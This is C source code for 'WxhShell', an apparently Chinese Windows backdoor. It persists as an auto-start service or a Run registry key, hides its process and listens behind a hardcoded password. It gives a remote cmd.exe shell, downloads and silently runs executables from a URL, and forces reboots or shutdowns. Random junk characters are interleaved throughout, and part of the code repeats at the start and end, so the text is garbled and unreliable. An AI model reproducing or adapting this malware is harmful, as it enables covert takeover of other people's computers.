k g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~R!M.gY[rK NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y
+2 |{en){: if (!NtQueryInformationProcess) return 0; FC BsC# o<Z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G!L(K if(!hProcess) return 0; M 1
5_
^+'[:rE if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qVDf98 zA
g.,dA CloseHandle(hProcess);
dr~6}S# 9z0G0QW[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~aZy52H_#. if(hProcess==NULL) return 0; ooW; s<6 h]{V/ HMODULE hMod; O"6
(k{` char procName[255]; ZD(VH6<g% unsigned long cbNeeded; C ks;f6G tW)KpX if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yur5"$n :U!@ CloseHandle(hProcess); $2gX!) d[7B,l:RN if(strstr(procName,"services")) return 1; // 以服务启动 Vw>AD<Rl [S<1|hk
s( return 0; // 注册表启动 >nqCUhS } iS]4F_|vd jr`;H // 主模块 U-mZO7y! int StartWxhshell(LPSTR lpCmdLine) YooPHeQ { NQpC]#n SOCKET wsl; G9
g
-EP\ BOOL val=TRUE; A$=h'!$ int port=0; 3)6&)7`* struct sockaddr_in door; G3wkqd "!F%X%/ if(wscfg.ws_autoins) Install(); 818,E 9z9\pXFQ port=atoi(lpCmdLine); &Fg|52 bMp[:dw`y if(port<=0) port=wscfg.ws_port; i]
I{7k \fD)| WSADATA data; 5HqvSfq>? if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !CGpE=V hzcSKRm if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; L%Mj{fJ>Wm setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \)'5V!B|s door.sin_family = AF_INET; FMNT0 door.sin_addr.s_addr = inet_addr("127.0.0.1"); oH]_2[
! door.sin_port = htons(port); L#6!W ^1mnw@04 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N}\%r&KR= closesocket(wsl); o0}kRL return 1; f]C`]qg } @yj$ ,%X"Caz if(listen(wsl,2) == INVALID_SOCKET) { LuE0Hb"S8 closesocket(wsl); 9
7U a, return 1; #M5pQ&yZy } >.o<}!FW Wxhshell(wsl); W Yo>Md
8 WSACleanup(); RE%25t| 7RZ HU+ return 0; fG_<HJS(~ ? l>Ra0 } D_)N!,i T jrz_o) // 以NT服务方式启动 3n3$? oV VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xf%vfAf { 8c3/n DWORD status = 0; Tf{lH9ca$ DWORD specificError = 0xfffffff; %u!)1oOIz nIEIb.- serviceStatus.dwServiceType = SERVICE_WIN32; 4L _AhX7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; n3"
@E<rW serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7I=vgT1F serviceStatus.dwWin32ExitCode = 0; qp{3I("_ serviceStatus.dwServiceSpecificExitCode = 0; V
M{Sng serviceStatus.dwCheckPoint = 0; *ORa@x serviceStatus.dwWaitHint = 0; L}UrI&]V$: ]MmFtdvE hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x,j%3/J^2 if (hServiceStatusHandle==0) return; 3S=$ng W!R7D%nX status = GetLastError(); 's\rQ-TV if (status!=NO_ERROR) %%+@s { h )% e serviceStatus.dwCurrentState = SERVICE_STOPPED; P/,ezVb= serviceStatus.dwCheckPoint = 0; Y;1s=B9 serviceStatus.dwWaitHint = 0; u-u:7VtH0= serviceStatus.dwWin32ExitCode = status; U7xKu75G1 serviceStatus.dwServiceSpecificExitCode = specificError; |<2<`3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); J;S Z"I' return; 9ePR6WS4 } r*kz`cJ ^~kfo| serviceStatus.dwCurrentState = SERVICE_RUNNING; R+5yyk\ serviceStatus.dwCheckPoint = 0; pebNE3`# serviceStatus.dwWaitHint = 0; IO{iQ-Mg if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Fgw$;W } 2v{42]XYf _5/3RN
// 处理NT服务事件,比如:启动、停止 jP31K{G? VOID WINAPI NTServiceHandler(DWORD fdwControl) MZ:Ty,pw:O { lGXr-K?+Y switch(fdwControl) lFV\Go { Sd *7jW? case SERVICE_CONTROL_STOP: *(o^w'5 serviceStatus.dwWin32ExitCode = 0; TeHxqWx serviceStatus.dwCurrentState = SERVICE_STOPPED; 4hWFgk serviceStatus.dwCheckPoint = 0; TUX:[1~Nf[ serviceStatus.dwWaitHint = 0; "P!zu(h4 { ekCt1^5Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); &\W5|*`x- } YDaGr6y4i return; $]~|W3\G case SERVICE_CONTROL_PAUSE: FPkig`(3 serviceStatus.dwCurrentState = SERVICE_PAUSED; , GMuq_H break; 49Hgq/uO case SERVICE_CONTROL_CONTINUE: ~)#xOE} serviceStatus.dwCurrentState = SERVICE_RUNNING; SN5Z@kK break; *qKf!& case SERVICE_CONTROL_INTERROGATE: =zRjb> break; f!bGH-.r5 }; mMtva}=* SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6.M!WK{+ } ch)#NHZ9F DcsQ 6 // 标准应用程序主函数 B&sa|'0U int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9=9R"X>L { LDbo=w -c
p)aH) // 获取操作系统版本 oR}'I OsIsNt=GetOsVer(); vFK!LeF% GetModuleFileName(NULL,ExeFile,MAX_PATH); ]//Dd/L6 RJE<1!{ // 从命令行安装 [(iJj3s! if(strpbrk(lpCmdLine,"iI")) Install(); jTN!\RH9NF Z9UNp[0 // 下载执行文件 eo<=Q|nI& if(wscfg.ws_downexe) { GC)xQZU)s if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P`y 0FKS WinExec(wscfg.ws_filenam,SW_HIDE); *]e9/f } `r+`vJ$ ]64?S0p1c! if(!OsIsNt) { Q@-
h // 如果时win9x,隐藏进程并且设置为注册表启动 H1 e^/JD) HideProc(); ;|.IUXEgcF StartWxhshell(lpCmdLine); V&>mD"~MP } , R $ZZ4 else 7Yly^ if(StartFromService()) =%0r_#F%= // 以服务方式启动 X`0`A2
n StartServiceCtrlDispatcher(DispatchTable); ktiC*|fd else K~
VUD( // 普通方式启动 _j?/O)M
c StartWxhshell(lpCmdLine); AUwIF/>F(] fHacVjJ return 0; L7B(abT9e } |r/4
({n cp5 Am)XbN')1 gg QI =========================================== htHnQ4Q h9j/mUwV oT[8Iu z/t+t_y ym6gj#2m QE~#eo " /;xmM2B' T^.W' #include <stdio.h> c{cJ>d 0 #include <string.h> vY(xH>Fd #include <windows.h>
qh9Ix #include <winsock2.h> b;$jh #include <winsvc.h> &&($LnyA] #include <urlmon.h> S1W(]%0/ -{a&Zkz>V #pragma comment (lib, "Ws2_32.lib") v`9n'+h-c6 #pragma comment (lib, "urlmon.lib") <rFKJ^ B r?wE ;gH #define MAX_USER 100 // 最大客户端连接数 < c[dpK5c #define BUF_SOCK 200 // sock buffer M\jTeB"Z #define KEY_BUFF 255 // 输入 buffer 2Ls \7A6+[
`fa #define REBOOT 0 // 重启 roE*8:Y #define SHUTDOWN 1 // 关机 AE&IN.- Auf2JH~ #define DEF_PORT 5000 // 监听端口 jl~?I*Gr &ajpD sz; #define REG_LEN 16 // 注册表键长度 zIgD R #define SVC_LEN 80 // NT服务名长度 J(%kcueb
VU
8~hF // 从dll定义API %)G]rta# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i*Ee(m]I typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
X00!@
^g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w|WehNGr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b+ J) Vq1ve;(8s // wxhshell配置信息 kc-v(WIC struct WSCFG { 1U;p+k5c int ws_port; // 监听端口 pm}!?TL char ws_passstr[REG_LEN]; // 口令 j?'It`s int ws_autoins; // 安装标记, 1=yes 0=no K(B|o6[ char ws_regname[REG_LEN]; // 注册表键名 gv,8Wo char ws_svcname[REG_LEN]; // 服务名 :s`\jJ char ws_svcdisp[SVC_LEN]; // 服务显示名 }dO^q-t$3 char ws_svcdesc[SVC_LEN]; // 服务描述信息 9?#L/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K\`>'C2_V int ws_downexe; // 下载执行标记, 1=yes 0=no J\x.:=V char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WZJ}HHePr char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I:G4i}mA L/n?1'he }; 2q,> *B? `+O7IyTMA // default Wxhshell configuration q+Cq&|4
?2 struct WSCFG wscfg={DEF_PORT, o$_,2$>mn "xuhuanlingzhe", TEi~X2u 1, ]M5w!O! "Wxhshell", `t~Zkb4> "Wxhshell", Gw)>i45: "WxhShell Service", [Oy5Td7[ "Wrsky Windows CmdShell Service", &p#$}tm "Please Input Your Password: ", 1C'_I 1, Z/hgr|&} "http://www.wrsky.com/wxhshell.exe", \,5OPSB "Wxhshell.exe" O5eTkKUc }; b 6B5 I?!7]S n$ // 消息定义模块 k(.6K[b char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dCkk5&2n char *msg_ws_prompt="\n\r? for help\n\r#>"; PhOtSml0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y,QJy=? char *msg_ws_ext="\n\rExit."; 0xQ="aXE char *msg_ws_end="\n\rQuit."; t\%gP@? char *msg_ws_boot="\n\rReboot..."; /"%(i#<)xs char *msg_ws_poff="\n\rShutdown..."; "`4V^1 char *msg_ws_down="\n\rSave to "; bI"_hvcFp \ tx4bV# char *msg_ws_err="\n\rErr!"; 3/q)%Z^= char *msg_ws_ok="\n\rOK!"; QBI;aG<+b> ,aBo
p# char ExeFile[MAX_PATH]; >=Pn\"j int nUser = 0; :v>Nz7SB HANDLE handles[MAX_USER]; t}]R0O.s int OsIsNt; qoXncdDHZ ^yo~C3r~ SERVICE_STATUS serviceStatus; >MeM SERVICE_STATUS_HANDLE hServiceStatusHandle; n6Qsug$z #[C=LGi // 函数声明 X|w[:[P int Install(void); oX
#WT int Uninstall(void); - .EH?{i int DownloadFile(char *sURL, SOCKET wsh);
nW*D int Boot(int flag); 3/i_?G void HideProc(void); nF!6 int GetOsVer(void); bYKe5y= int Wxhshell(SOCKET wsl); n$oHr void TalkWithClient(void *cs); .!pr0/9B int CmdShell(SOCKET sock); %!X|X,b^O int StartFromService(void); U'(@?]2<G int StartWxhshell(LPSTR lpCmdLine); "$Mz>]3&q jJK`+J,i}X VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iYk4=l
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6,q}1- 6*\WH% // 数据结构和表定义 5m]N%{<jAB SERVICE_TABLE_ENTRY DispatchTable[] = iir]M`A.- { <_N<L\ {wscfg.ws_svcname, NTServiceMain}, Z/f%$~Ch {NULL, NULL} <+mYC'p }; _sGmkJi] W1T%
Q88 // 自我安装 @z-%:J/$ int Install(void) 7(S66 { :K)7_]y char svExeFile[MAX_PATH]; \_w>I_=F HKEY key; 34gC[G= strcpy(svExeFile,ExeFile); 4Lb!Au|Y /Q nq,`z // 如果是win9x系统,修改注册表设为自启动 GWvw<`4 if(!OsIsNt) { 0mMoDJRy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G)G
257K"~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j@HOU~x RegCloseKey(key); tvlrUp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (rfR:[JkC2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x[_SNX" RegCloseKey(key); O;dtz\ return 0; 'fIoN% } f~0CpB*X } # zbAA<f } 4Nun-(q else { 0Kytg\p} 9z$fDs}.q // 如果是NT以上系统,安装为系统服务 2]}4)_&d<e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s1GR!*z> if (schSCManager!=0) N a$eeM { !JGe
.U5 SC_HANDLE schService = CreateService b?kY`LC ( 00-cT9C3 schSCManager, psFY=^69o wscfg.ws_svcname, rd:WF(] wscfg.ws_svcdisp, ^kO+NH40 SERVICE_ALL_ACCESS, +>}LT_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ``?79 MJ5 SERVICE_AUTO_START, Nm7YH@x*o SERVICE_ERROR_NORMAL, Z)^1~!w0 svExeFile, l{o,"P" NULL, LpYG!K l NULL, R9z:K_d, NULL, 6Lb(oY}\3 NULL, ?XIB\7} NULL 2Pm[
kD4E= ); )4MM>Q if (schService!=0) *t%Z'IA { [`4 CloseServiceHandle(schService); iLC.?v2= CloseServiceHandle(schSCManager); 8= kwc strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?l9j] strcat(svExeFile,wscfg.ws_svcname); -Is;cbfLj/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j"F?^0aR,Q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R0g^0K. RegCloseKey(key); #=g1V?D return 0; 1p5n}| } 1)o6jGQ } ,`
64t'g CloseServiceHandle(schSCManager); T@%\?=P } ?yc{@| } v6M4KC2? y<g1q"F return 1; MO>9A,&f } d@XXqCR< JyO2P // 自我卸载 )UCc! int Uninstall(void) Iz^vt#b { cE;n>ta"F HKEY key; ?:42jp3 T!7B0_ if(!OsIsNt) { )! eJW( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { abD@0zr RegDeleteValue(key,wscfg.ws_regname); lDSF RegCloseKey(key); xwF mY'o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3Cw}y55_y RegDeleteValue(key,wscfg.ws_regname); %vil~NU RegCloseKey(key); YSh@+AN return 0; <I#nwoHN } w7@TM%nS } 85T"(HhT } yT~rql else { ~ \]?5
nj l+a1 `O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -tZ~&1" if (schSCManager!=0) GoLK
95"] { @jxP3:s SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^6On^k[|fw if (schService!=0) l0 8vF$k|d { 02_+{vk! if(DeleteService(schService)!=0) { mCyn:+ CloseServiceHandle(schService); GXp`yK9c CloseServiceHandle(schSCManager); J= [D'h return 0; yAiO._U } j'k
< CloseServiceHandle(schService); jsFfrS"* } jF}-dfe CloseServiceHandle(schSCManager); !-t,r%CG } Vw|P;LLl` } M#_|WL~ F8S>Ld return 1; \%|Xf[AX } PjD9D. i\,I)S%yJ // 从指定url下载文件 p|C[T]J\@ int DownloadFile(char *sURL, SOCKET wsh) |h?2~D!+d
{ +CM>]Ze HRESULT hr; 4*ZY#7h char seps[]= "/"; .ht-* char *token; M!46^q~- char *file; :sQ>oNnz char myURL[MAX_PATH]; N;`/>R4|I char myFILE[MAX_PATH]; g/FZ?Wo kH5D%`Kw strcpy(myURL,sURL); 31~nay15 token=strtok(myURL,seps); 9Pb6Z} while(token!=NULL) )q66^%;S { 35Yf,@VO file=token; nwp(% fBo token=strtok(NULL,seps); wFX9F3m } .g3=L &7i&"TNptP GetCurrentDirectory(MAX_PATH,myFILE); 2t4\L3 strcat(myFILE, "\\"); Mf2F LrAh strcat(myFILE, file); q3<kr<SP send(wsh,myFILE,strlen(myFILE),0); En:>c send(wsh,"...",3,0); 6`@b@Kd hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DXo]O}VF if(hr==S_OK) S,j. ?u*! return 0; f S[-K?K else &s(J:P$! return 1; =W &Mt qJag>OY } m):*>o55 /Kd7#@ // 系统电源模块 64mg :ed& int Boot(int flag) 8IA1@0n& { /)T~(o|i HANDLE hToken; J#48c' TOKEN_PRIVILEGES tkp; >.6|\{*sG p#CjkL if(OsIsNt) { {zWR)o .= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9b/Dswxjx LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ESNI$[` tkp.PrivilegeCount = 1; @ 5^nrB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -OSj<m< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^DN:.qQ if(flag==REBOOT) { 8L,=E ap if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %@Z;;5 L return 0; FpiTQC7d } b8e\( Dww else { u4_QLf@I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M+0PEf. return 0; \nt~K}a } )q[P&f(h } {9yf0n else { <n4` #d if(flag==REBOOT) { e{7\pQK if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Bb:C^CHIQm return 0; qa-FLUkIk! } s/=% kCo else { 4 sax if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) puJB&u"4L return 0; ~N/r;omVc } wS);KLe3 } R!%nzL@e&`
0_eqO'" return 1; mwo:+^v( } !(rAI QXZyiJX} // win9x进程隐藏模块
v&|65[< void HideProc(void) `Bw]PO { "bIb?e2h9G X+C*+k,z HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a8f#q]TyQ if ( hKernel != NULL ) SfnQW}RGI { ?0_<u4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VD~5]TQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \4L ur FreeLibrary(hKernel); 0eNdKE } %W"u4
NT7 <@<bX return; ? Bpnnwx } a$"nNm D? g5|~i{"0 // 获取操作系统版本 ]:Gy]qkO int GetOsVer(void) )Cl>% 9 { %+H _V1F OSVERSIONINFO winfo; 3l~+VBR_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l cie6'< GetVersionEx(&winfo); `UTPX'Vz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d/bimQ return 1; 4LKpEl.= else :Ln)j%& return 0; |gA@WV-% } (T_-`N| hO]F\0+ // 客户端句柄模块 b3^:Bh9 int Wxhshell(SOCKET wsl) z.Ic?Wz7 { bGCC?}\ SOCKET wsh; ==OUd6e} struct sockaddr_in client; /)6T>/ DWORD myID; &t^*0/~ -67Z!N while(nUser<MAX_USER) UDh\%?j { (N}-]%# int nSize=sizeof(client); ~;3yjO)l?) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !?nO0Ao-$ if(wsh==INVALID_SOCKET) return 1; KClkPL!jP y#j7vO handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4<i#TCGex3 if(handles[nUser]==0) XI\Slq closesocket(wsh); Jh3 else P |tyyjO nUser++; { c#US } Y(g_h:lf,] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z 2N6r6 Vr
EGR$ return 0; +@Qr GY } gx.\H3y In1W/? // 关闭 socket ;OlnIxH(W void CloseIt(SOCKET wsh) c!ZZMCs { k( :Bl closesocket(wsh); 6G2~'zqPc~ nUser--; E`o_R=% ExitThread(0); /_0B5,6R } iT}>a30]B pUHgjwT'U // 客户端请求句柄 "E\vdhk void TalkWithClient(void *cs) ,~Mf2Y#m0p { ^%$IdDx zMv`<m% SOCKET wsh=(SOCKET)cs; -D~K9u]U_ char pwd[SVC_LEN]; VcrMlcnO char cmd[KEY_BUFF]; @Chl>s char chr[1]; $|=|"/ int i,j; ]lwf6' +MX~1RU+ while (nUser < MAX_USER) { zR<{z ^Kz?SO if(wscfg.ws_passstr) { I?'*vAW< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8\rca:cF
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #yochxF_ //ZeroMemory(pwd,KEY_BUFF); f)*?Ji|5F i=0; vwT1bw . while(i<SVC_LEN) { dPEDsG0$a 5p#0K@`n/ // 设置超时 ESCN/ocV fd_set FdRead; [c3!xHt5O struct timeval TimeOut; #kv9$ FD_ZERO(&FdRead); 8g0 #WV FD_SET(wsh,&FdRead); mD9Iao%4~ TimeOut.tv_sec=8; >%tP"x{ TimeOut.tv_usec=0; 7Mh'x:p int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 28"1ONs3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v
WXo# th{f|fm62 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #&'S-XE+ pwd=chr[0]; tg\Nm7I if(chr[0]==0xd || chr[0]==0xa) { GrLxERf pwd=0; y~+LzDV break; sWlxt q g } t{]
6GlW i++; d~aTjf } ArtY;.cg% 0eA<nK // 如果是非法用户,关闭 socket mW"e if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }!iopu } MLV]+H[mt U2A-ub>7 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ec!e send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TB>_#+: aH"d~Y^ while(1) { #`_W?-%^ K6->{!8]k ZeroMemory(cmd,KEY_BUFF); ] V/5<O1 q]="ek&_ // 自动支持客户端 telnet标准 =8l' [ j=0; DghyE` while(j<KEY_BUFF) { >&.N_,* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w~+*Vd~U cmd[j]=chr[0]; D+!T5)>( if(chr[0]==0xa || chr[0]==0xd) { K}cZK cmd[j]=0; l -XfUjJ break; Qr
R+3kxM } %bP+P(vZ j++; fQ 9af)d } )zWu\JRp (Mfqzy // 下载文件 TIp\- if(strstr(cmd,"http://")) { ^6l5@#)w send(wsh,msg_ws_down,strlen(msg_ws_down),0); usc/DQ1 if(DownloadFile(cmd,wsh)) Z2W&_(^.h send(wsh,msg_ws_err,strlen(msg_ws_err),0); l iY/BkpH else /uWUQ#9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U9]&KNx } i|h{<X7[ else { iX?j "=! O.dZ3!!+ switch(cmd[0]) { !*c%Dj !S<p"
// 帮助 SVa^:\"$[ case '?': { glch06 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?.,F3@W " break; Ge)G.> c } (1=@.srAzK // 安装 |Gq3pL<jkC case 'i': { _oZ3n2v}@ if(Install()) #`@)lU+/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Y0z7A: else IYe[IHny1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &DQ_qOKD break; [p4([ef
' } hzAuj0-A // 卸载 #IppjaPl8 case 'r': { VN-0hw/A if(Uninstall()) .\`MoH send(wsh,msg_ws_err,strlen(msg_ws_err),0); tuH#Cy else BHpay send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \)*\$I\] break; d1yLDj? } VKPsg // 显示 wxhshell 所在路径 )E",)}Nh case 'p': { xRZ K&vkKE char svExeFile[MAX_PATH]; "X<V>q$0~c strcpy(svExeFile,"\n\r"); p+Yy"wH:h{ strcat(svExeFile,ExeFile); iu=@h>C send(wsh,svExeFile,strlen(svExeFile),0); =glG | break; + $M<ck?Bo } XFFm'W6@ // 重启 Cno[:iom case 'b': { y@}WxSK*0 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9|jMN
j]vo if(Boot(REBOOT)) l/?bXNt send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zc";R!At else { *r4FOA%P closesocket(wsh); >]B_+r0m^ ExitThread(0);
2X`t&zg } 7yG%E break; rXSw@pqZ& } hB'rkjt // 关机 9a:(ab' case 'd': { C^?/9\
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); = m|<~t if(Boot(SHUTDOWN)) G=e'H- send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Ml#,kU<T else { Y xnZ0MY closesocket(wsh); DW,Z})9 ExitThread(0); s&%r? } k-4z2qB break; 'QpDx&~QP } 87pu\(,' // 获取shell 7iy 2V;} case 's': { Us[F@ CmdShell(wsh); _or_Vw! closesocket(wsh); g6gwNC:aF ExitThread(0); {#t7lV'4 break; t.!?"kP"c } c*w0Jz>@.7 // 退出 Nn0j}ZI)1 case 'x': { s_Z5M2o send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1q
ZnyJ CloseIt(wsh); 6d5q<C_3t break; iOAn/[^xk } 3? k<e // 离开 C,O9?t case 'q': { >of9m send(wsh,msg_ws_end,strlen(msg_ws_end),0); CTqhXk[ closesocket(wsh); &i805,lx WSACleanup(); tPk>hzW exit(1); ^S|}<6~6b break;
%U[H`E } B<|Vm.D } n-?zH:]GG{ } B0g?!.#23 uxX 3wY;M // 提示信息 \R
3O39[ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '8^cl:X } iYW<qgz } kB?Uw#
ZKS]BbMZa return; 3#uc+$[ }
J6
A3Hrg e ?Jgk$" // shell模块句柄 d_[zt) int CmdShell(SOCKET sock) sVlQ5M oo( { #|V)>") STARTUPINFO si; H ~<.2b ZeroMemory(&si,sizeof(si)); F${}n1D si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1yS:` si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '^Q$:P{G? PROCESS_INFORMATION ProcessInfo; ;+3@S`2r char cmdline[]="cmd"; /*6[Itm_h CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); do.XMdit return 0; |*~SR.[` } Ln4Dq[M kK&AK2 // 自身启动模式 1#zD7b~ int StartFromService(void) i\>?b)a> { *mw *z|-^V typedef struct M^n^wz { |41~U\ DWORD ExitStatus; @E> rqI;` DWORD PebBaseAddress; +wGvYr
DWORD AffinityMask; ws;|fY DWORD BasePriority; n&Q0V. ULONG UniqueProcessId; DRVvC~M-, ULONG InheritedFromUniqueProcessId; q:wz!~(> } PROCESS_BASIC_INFORMATION; S2
-J1x2N (V}?y:) PROCNTQSIP NtQueryInformationProcess; )ItW}1[I nx!+:P , static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7<*g'6JG[ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |lIgvHgg NiVZ=wEp, HANDLE hProcess; 5z.Y} PROCESS_BASIC_INFORMATION pbi; Xag#ZT wO]H+t HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R,l*@3Q if(NULL == hInst ) return 0; #=ko4?Wr( }'p*C$ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MMQ\V(C g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0Y!~xyg/ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I#(?xHx
EQy~ ^7V B if (!NtQueryInformationProcess) return 0; c&g*nDuDj 0.~s>xXp hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E,/nK if(!hProcess) return 0; !H zJ* 2\"T& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =Nz;R2{@ S:cd'68D CloseHandle(hProcess); S;u2B_/ ^_=bssaOd hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bW GMgC if(hProcess==NULL) return 0; Om8Sgy? 3[R[`l]v? HMODULE hMod; \mFgjPz char procName[255]; p3IhK> unsigned long cbNeeded; )|&FBz; Q*9Y.W. 8 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?{1& J9H $L72%T CloseHandle(hProcess); F>k/;@d LP>GM=S#" if(strstr(procName,"services")) return 1; // 以服务启动 dp }zG+ 7\i> > return 0; // 注册表启动 DNRWE1P2bg } o}L\b,]) Vo(bro4ZQi // 